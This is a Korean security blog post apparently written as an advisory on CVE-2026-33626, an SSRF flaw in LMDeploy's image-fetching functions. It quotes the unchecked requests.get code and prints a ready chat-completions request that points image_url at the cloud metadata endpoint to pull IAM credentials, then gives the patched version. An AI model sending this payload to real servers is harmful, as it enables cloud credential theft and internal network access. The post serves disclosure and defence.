1. LMDeploy
- LLM을 효율적으로 압축, 배포, 서비스하기 위한 오픈소스 툴킷 [1][2]
※ Vision-Language Module(VLM) : 컴퓨터 비전(이미지 이해)과 자연어 처리(텍스트 이해)를 결합하여 이미지와 텍스트를 동시에 이해하고 처리할 수 있는 모델 [3]
2. 취약점

- 내부/사설 IP 주소 여부를 검증하지 않고 임의의 URL에서 이미지를 가져와 공격자가 내부 네트워크 및 민감 리소스에 접근할 수 있는 SSRF 취약점 [5]
> 취약점이 공개된 지 13시간 만에 악용 사례 발생
영향받는 버전
- LMDeploy 0.12.0 이하 Vision-Language 지원 기능이 있는 모든 버전
- load_image() 및 encode_image_base64()는 URL 스키마 및 내부/사설 IP 주소를 검증하지 않고 임의의 경로에서 이미지를 가져옴 [6][7]
> 또한, 서버가 기본적으로 0.0.0.0에 바인딩되어 외부에서 접근 가능하며, API 인증이 비활성화되어 있어 누구나 요청이 가능함 [8]
lmdeploy/vl/utils.py
def encode_image_base64(image: Union[str, Image.Image]) -> str:
...
if url_or_path.startswith('http'):
response = requests.get(url_or_path, headers=headers, timeout=FETCH_TIMEOUT)
...
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
...
elif image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
...
- 따라서, 공격자는 이를 통해 클라우드 자격 증명 탈취, 내부 서비스 접근, 정보 유출(내부 포트 스캔), 횡적 이동 등이 가능
> 169.254.169.254는 클라우드 환경에서 실행 중인 인스턴스의 메타데이터(Instance Metadata)를 조회하기 위한 링크 로컬 주소
> 인스턴스 ID, AMI ID, IP 주소, 보안 그룹, IAM Role 등 민감한 정보가 포함되며, 탈취 시 클라우드 리소스에 대한 권한 획득으로 이어질 수 있음
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
3. 대응방안
- 벤더사 제공 업데이트 적용
> _is_safe_url() 함수를 통해 요청을 보내기 전 URL의 안전성을 검증 [9][10]
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-33626 | LMDeploy | 0.12.0 이하 | 0.12.3 |
4. 참고
[1] https://github.com/InternLM/lmdeploy
[2] https://lmdeploy.readthedocs.io/en/latest/index.html
[3] https://www.ibm.com/kr-ko/think/topics/vision-language-models
[4] https://nvd.nist.gov/vuln/detail/CVE-2026-33626
[5] https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
[6] https://github.com/InternLM/lmdeploy/blob/9564876a52d304b485575c495e61f345a57e1a16/lmdeploy/vl/utils.py#L27
[7] https://github.com/InternLM/lmdeploy/blob/9564876a52d304b485575c495e61f345a57e1a16/lmdeploy/vl/utils.py#L64
[8] https://github.com/InternLM/lmdeploy/blob/9564876a52d304b485575c495e61f345a57e1a16/lmdeploy/serve/openai/api_server.py#L1393-L1394
[9] https://github.com/InternLM/lmdeploy/blob/v0.12.3/lmdeploy/vl/utils.py
[10] https://github.com/InternLM/lmdeploy/blob/8ea459f49ed9cd943481073011424919e31e3e3b/lmdeploy/vl/media/connection.py#L25
[11] https://thehackernews.com/2026/04/lmdeploy-cve-2026-33626-flaw-exploited.html
'취약점 > Injection' 카테고리의 다른 글
| Ghost CMS Content API SQL Injection (CVE-2026-26980) (0) | 2026.05.31 |
|---|---|
| LiteLLM SQL 인젝션 취약점 (CVE-2026-42208) (0) | 2026.05.12 |
| sequelize SQL Injection 취약점 (CVE-2026-30951) (0) | 2026.03.18 |
| Apache Tika XML 외부 엔티티 인젝션 취약점 (CVE-2025-66516) (3) | 2025.12.28 |
| Fortinet FortiSIEM Command Injection 취약점 (CVE-2025-25256) (2) | 2025.08.19 |